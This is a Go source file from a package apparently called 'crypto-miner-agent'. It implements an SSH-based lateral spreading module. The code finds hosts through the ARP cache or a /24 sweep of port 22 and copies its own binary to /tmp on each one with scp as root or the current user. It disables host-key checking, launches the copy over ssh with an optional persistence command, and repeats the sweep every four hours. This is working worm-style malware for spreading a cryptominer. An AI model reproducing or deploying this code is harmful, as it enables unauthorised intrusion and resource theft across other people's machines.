//go:build !windows package deploy import ( "context" "log" "net" "os" "os/exec" "path/filepath" "time" "crypto-miner-agent/config" ) // StartAutoSpreader launches SSH-based lateral deployment on Unix hosts. // // Prerequisites: see deploy/subnet.go (Spread prerequisites). scp/ssh use // BatchMode=yes — passwordless SSH with pre-placed keys is required. func StartAutoSpreader(cfg config.RuntimeConfig) { if !cfg.AutoSpread { return } go func() { time.Sleep(10 * time.Minute) ticker := time.NewTicker(4 * time.Hour) defer ticker.Stop() for { spreadUnixSubnet(cfg) <-ticker.C } }() log.Printf("[autospread] Unix SSH spread module active") } // RunSpreadOnce triggers an immediate SSH sweep (non-blocking). func RunSpreadOnce(cfg config.RuntimeConfig) string { if ok, reason := AllowAutospread(cfg); !ok { return "autospread deferred: " + reason } go spreadUnixSubnet(cfg) return "unix lateral spread sweep started (SSH :22)" } // spreadSem limits concurrent SSH spread goroutines to 16 (M20) var spreadSem = make(chan struct{}, 16) func spreadUnixSubnet(cfg config.RuntimeConfig) { if ok, reason := AllowAutospread(cfg); !ok { log.Printf("[autospread] spread deferred: %s", reason) finishSpreadSweepImmediate() return } exePath, err := os.Executable() if err != nil { return } // ARP-first: use the OS ARP cache to find live hosts without a /24 sweep. targets := arpHosts() // Fallback: if ARP cache has < 3 entries, probe for SSH-open hosts. if len(targets) < 3 { ips := getLocalIPs() seen := make(map[string]bool) for _, t := range targets { seen[t] = true } for _, ip := range ips { if !isIPv4(ip) { continue // active sweep is IPv4 /24 only; see subnet.go } subnet := getSubnet(ip) if subnet == "" { continue } for i := 1; i < 255; i++ { candidate, ok := ipv4SweepHost(subnet, i) if !ok { break } if candidate == ip || seen[candidate] { continue } conn, connErr := net.DialTimeout("tcp", candidate+":22", 400*time.Millisecond) if connErr == nil { conn.Close() seen[candidate] = true targets = append(targets, candidate) } } } } localSet := make(map[string]bool) for _, ip := range getLocalIPs() { localSet[ip] = true } var filtered []string for _, target := range targets { if localSet[target] { continue } filtered = append(filtered, target) } beginSpreadSweep("ssh", len(filtered)) if len(filtered) == 0 { finishSpreadSweepImmediate() return } for _, target := range filtered { spreadSem <- struct{}{} go func(t string) { defer func() { <-spreadSem }() attemptSSHSpread(cfg, t, exePath) }(target) } } func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) { conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second) if err != nil { recordSpreadAttempt(target, false, "port 22 closed") return } conn.Close() // 30 s overall deadline covers both SCP upload and SSH start command. ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) defer cancel() remoteName := sanitizeName(cfg.WorkerName) + "-sync" remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName)) scp := exec.CommandContext(ctx, "scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath) if err := scp.Run(); err != nil { user := os.Getenv("USER") if user == "" { user = "ubuntu" } scp = exec.CommandContext(ctx, "scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath) if err := scp.Run(); err != nil { recordSpreadAttempt(target, false, "scp failed") return } } start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target, sshSpreadStartCmd(remotePath)) if persist := sshSpreadPersistCmd(cfg, remotePath); persist != "" { start = exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target, sshSpreadStartCmd(remotePath)+"; "+persist) } if err := start.Run(); err == nil { log.Printf("[autospread] deployed to %s via SSH", target) recordSpreadAttempt(target, true, "") } else { recordSpreadAttempt(target, false, "ssh start failed") } }